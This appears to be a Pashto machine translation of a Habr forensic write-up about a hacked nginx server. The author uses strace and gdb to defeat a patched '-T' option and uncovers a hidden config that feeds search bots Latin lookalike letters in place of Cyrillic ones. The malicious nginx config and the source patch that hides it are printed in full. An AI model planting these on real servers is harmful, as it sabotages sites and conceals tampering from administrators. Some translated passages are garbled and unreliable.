کله چې 'الف' د 'الف' سره مساوي نه وي. د هک په پایله کې

زما د یو ملګري سره ډیره ناخوښه کیسه وشوه. مګر لکه څنګه چې دا د میخایل لپاره ناخوښه و، دا زما لپاره د زړه پورې وه.

زه باید ووایم چې زما ملګری ښه دی UNIX- کارن: کولی شي سیسټم پخپله نصب کړي مای, php او ساده ترتیبات جوړ کړئ نګینکس.
او هغه یو درجن یا یو نیم ویب سایټونه د ساختماني وسیلو لپاره وقف کړي دي.

یو له دې سایټونو څخه چې چینساو ته وقف شوي د لټون انجنونو په سر کې په کلکه ناست دي. دا سایټ یو غیر تجارتي بیاکتنه کونکی دی، مګر یو څوک د برید کولو عادت ته رسیدلی. هغه انټرنیټه، بیا وحشي ځواک، بیا دوی فحش نظرونه لیکي او کوربه او RKN ته ناوړه ګټه پورته کوي.
ناڅاپه، هرڅه آرام شول او دا آرامۍ ښه نه وه، او سایټ په تدریجي ډول د لټون پایلو پورتنۍ کرښې پریښودل پیل کړل.

کله چې 'الف' د 'الف' سره مساوي نه وي. د هک په پایله کې

دا یوه وینا وه، بیا پخپله د مدیر کیسه.

دا د خوب وخت ته نږدې شوی و کله چې تلیفون زنګ وکړ: "سان ، ایا تاسو زما سرور ته نه ګورئ؟ داسې ښکاري چې زه هیک شوی یم، زه نشم کولی دا ثابت کړم، مګر احساس ما د دریمې اونۍ لپاره نه پریښوده. شاید دا زما لپاره وخت دی چې د پارونیا درملنه وکړم؟"

څه چې وروسته نیم ساعت بحث و چې لنډیز یې په لاندې ډول دی:

  • د هک کولو لپاره خاوره ډیره حاصلخیزه وه؛
  • برید کوونکی کولی شي د سوپر کارونکي حقونه ترلاسه کړي؛
  • برید (که دا ترسره شوی وي) په ځانګړې توګه په دې ځای کې په نښه شوی و؛
  • د ستونزې ساحې سمې شوې او تاسو یوازې اړتیا لرئ پوه شئ چې آیا کوم نفوذ شتون درلود؛
  • هیک نشي کولی د سایټ کوډ او ډیټابیس اغیزه وکړي.

د وروستي ټکي په اړه.

کله چې 'الف' د 'الف' سره مساوي نه وي. د هک په پایله کې

یوازې سپین مخکینۍ IP نړۍ ته ګوري. د شاته او مخکینۍ برخې تر مینځ هیڅ تبادله شتون نلري پرته له http(s)، کارونکي/رمزونه توپیر لري، هیڅ کیلي تبادله شوي ندي. په خړ پته کې، د 80/443 پرته ټول بندرونه تړل شوي دي. د سپینې بیک انډ IPs یوازې دوه کاروونکو ته پیژندل شوي ، کوم چې میخیل په بشپړ ډول باور لري.

په مخکینۍ برخه کې نصب شوی Debian 9 او کله چې زنګ ووهل شي، سیسټم د بهرني فائر وال لخوا له نړۍ څخه جلا کیږي او ودریږي.

"ښه، ما ته لاسرسی راکړئ،" ما پریکړه وکړه چې د یو ساعت لپاره خوب پریږدم. "زه به په خپلو سترګو وګورم."

دلته او نور:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

د احتمالي هک په لټه کې

زه سرور پیلوم، لومړی په کې د ژغورنې حالت. زه ډیسکونه پورته کوم او د دوی له لارې فلیپ کوم ليکنه-لوښي تاريخ، د سیسټم لاګ ، او داسې نور ، که امکان ولري ، زه د فایل رامینځته کولو نیټه ګورم ، که څه هم زه پوهیږم چې یو نورمال کریکر به له ځانه وروسته "پاڅیدلی" وي ، او میشا لا دمخه د ځان په لټه کې ډیر "ټیټ شوی" و. .

زه په نورمال حالت کې پیل کوم ، لاهم واقعیا نه پوهیږم چې څه باید وګورم ، زه تشکیلات مطالعه کوم. تر ټولو لومړی، زه لیوالتیا لرم نګینکس ځکه چې په عموم کې، پرته له دې پرته بل څه نشته.
تشکیلات کوچني دي ، په لسګونو فایلونو کې ښه تنظیم شوي ، زه یوازې د دوی له لارې ګورم پیشواو یو یو. هرڅه پاک ښکاري، مګر تاسو هیڅکله نه پوهیږئ که ما یو څه له لاسه ورکړی وي شامل دياجازه راکړئ چې بشپړ لیست جوړ کړم:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

زه نه پوهیږم: "لیست چیرته دی؟"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

دوهمه پوښتنه د لیست کولو پوښتنې ته اضافه شوې: "ولې د نګینکس دومره پخوانی نسخه؟"

سربیره پردې، سیسټم باور لري چې وروستۍ نسخه نصب شوې ده:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

زه غږ کوم:
- میشا، ته ولې بیا راغونډ شوې یې؟ نګینکس?
- انتظار وکړئ، زه حتی نه پوهیږم چې دا څنګه وکړم!
- سمه ده، ویده شه...

نګینکس دا په واضح ډول بیا جوړ شوی او د "-T" په کارولو سره د لیست کولو محصول د یو دلیل لپاره پټ دی. د هیک کولو په اړه نور هیڅ شک نشته او تاسو کولی شئ دا په ساده ډول ومنئ او (ځکه چې میشا سرور په هرصورت نوي سره بدل کړی) ستونزه حل کړئ.

او په حقیقت کې، له هغه وخته چې یو څوک حقونه ترلاسه کړي د ريښيهو، نو دا یوازې د کولو معنی لري سیسټم بیا نصب کول، او دا بې ګټې وه چې دلته څه غلط و ، مګر دا ځل تجسس خوب ته ماتې ورکړه. موږ څنګه کولی شو هغه څه ومومئ چې دوی غوښتل له موږ څخه پټ کړي؟

راځئ چې د موندلو هڅه وکړو:

$ strace nginx -T

موږ دې ته ګورو، په ښکاره ډول په لا ټریس کې کافي کرښې شتون نلري

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

یوازې د ساتیرۍ لپاره ، راځئ چې موندنې پرتله کړو.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

زه فکر کوم د کوډ یوه برخه /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

په فورمه کې راوړل شو:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

او یا

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

نو د "-T" لخوا لیست نه ښودل کیږي.

مګر موږ څنګه کولی شو خپل تشکیل وګورو؟

که زما فکر سم وي او ستونزه یوازې په متغیر کې وي ngx_dump_config راځئ هڅه وکړو چې دا په کارولو سره نصب کړو gdb، خوشبختانه دلته یو کیلي شتون لري --with-cc-opt -g حاضر او د دې اصلاح هیله -O2 دا به موږ ته زیان ونه رسوي. په ورته وخت کې، ځکه چې زه نه پوهیږم څنګه ngx_dump_config کې پروسس کیدی شي قضیه 'T':، موږ به دا بلاک ونه وایو ، مګر په کارولو سره به یې نصب کړو قضیه 't':

ولې تاسو کولی شئ '-t' او همدارنګه '-T' وکاروئبلاک پروسس کول که (ngx_dump_config) دننه واقع کیږي که (ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

البته، که په دې برخه کې کوډ بدل شوی وي او نه قضیه 'T':نو زما طریقه به کار ونکړي.

ازموینه nginx.confد تجربې په توګه د ستونزې حل کولو سره، دا تاسیس شوی چې د مالویر کار کولو لپاره لږترلږه ترتیب ته اړتیا ده نګینکس ډول:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

موږ به دا په مقاله کې د لنډیز لپاره وکاروو.

ډیبګر پیل کړئ

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

مرحلې:

  • په فنکشن کې د وقفې نقطه جوړه کړئ اصلي ()
  • پروګرام پیل کړئ
  • د متغیر ارزښت بدل کړئ چې د ترتیب محصول ټاکي ngx_dump_config=1
  • پروګرام ته دوام ورکړئ / پای ته ورسوئ

لکه څنګه چې موږ لیدلی شو، اصلي ترتیب زموږ څخه توپیر لري، موږ له هغې څخه پرازیتیک ټوټه غوره کوو:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

راځئ چې په ترتیب سره وګورو چې دلته څه پیښیږي.

ټاکل شوي دي کارن استازیyandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

د خدماتو پاڼې خارج شوي دي WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

او د هغو کسانو لپاره چې د پورتنیو دواړو شرایطو لاندې راځي

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

په متن کې html- مخونه بدلوي 'او' په 'او' и 'الف' په 'ا':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

دا سمه ده، یوازینی لنډیز دا دی 'a' != 'a' لکه 'او' != 'او':

کله چې 'الف' د 'الف' سره مساوي نه وي. د هک په پایله کې

په دې توګه، د لټون انجن بوټونه ترلاسه کوي، د عادي 100٪ سیریلیک متن پر ځای، تعدیل شوي کثافات د لاتین سره کم شوي 'ا' и 'او'. زه د دې خبرې کولو جرئت نه لرم چې دا څنګه SEO اغیزه کوي، مګر دا امکان نلري چې د لیکونو دا ډول جمله به د لټون پایلو کې په پوستونو مثبت اغیزه ولري.

زه څه ووایم، د تخیل سره هلکان.

مرجع

د GDB سره ډیبګ کول
gdb (1) - د لینکس مین پاڼه
strace(1) — د لینکس مین پاڼه
Nginx - ماډل ngx_http_sub_module
د آرونو، زنځیرونو او بریښنایی آرونو په اړه

سرچینه: www.habr.com

Add a comment